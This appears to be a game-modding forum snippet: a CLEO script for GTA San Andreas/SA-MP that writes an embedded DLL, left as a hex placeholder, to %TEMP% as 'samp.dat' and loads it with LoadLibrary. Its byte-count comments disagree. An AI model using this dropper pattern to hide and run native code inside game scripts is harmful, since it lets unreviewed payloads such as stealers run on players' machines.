- 93
- 6
- Версия MoonLoader
- Другое
CLEO:
{$CLEO .cs}
//-------------MAIN---------------
0000: NOP
jump @inject
// size = 25088 bytes
:DLL_FILE
hex
// hex code
end
:inject
0AA2: 0@ = load_library "kernel32.dll" // IF and SET
0AA4: 1@ = get_proc_address "GetEnvironmentVariableA" library 0@ // IF and SET
alloc 2@ 260
0AA5: call 1@ num_params 3 pop 0 260 2@ "TEMP"
alloc 4@ 260
format 4@ "%s\\samp.dat" 2@
0AA2: 0@ = load_library "msvcrt.dll" // IF and SET
0AA4: 1@ = get_proc_address "fopen" library 0@ // IF and SET
0AA7: call_function 1@ num_params 2 pop 2 "wb" 4@ 3@
0AA4: 1@ = get_proc_address "fwrite" library 0@ // IF and SET
0AC6: 5@ = label @DLL_FILE offset
0AA5: call 1@ num_params 4 pop 4 3@ 1 11776 5@ // size
0AA4: 1@ = get_proc_address "fclose" library 0@ // IF and SET
0AA5: call 1@ num_params 1 pop 1 3@
0AA2: 6@ = load_library 4@
while true
wait 100
end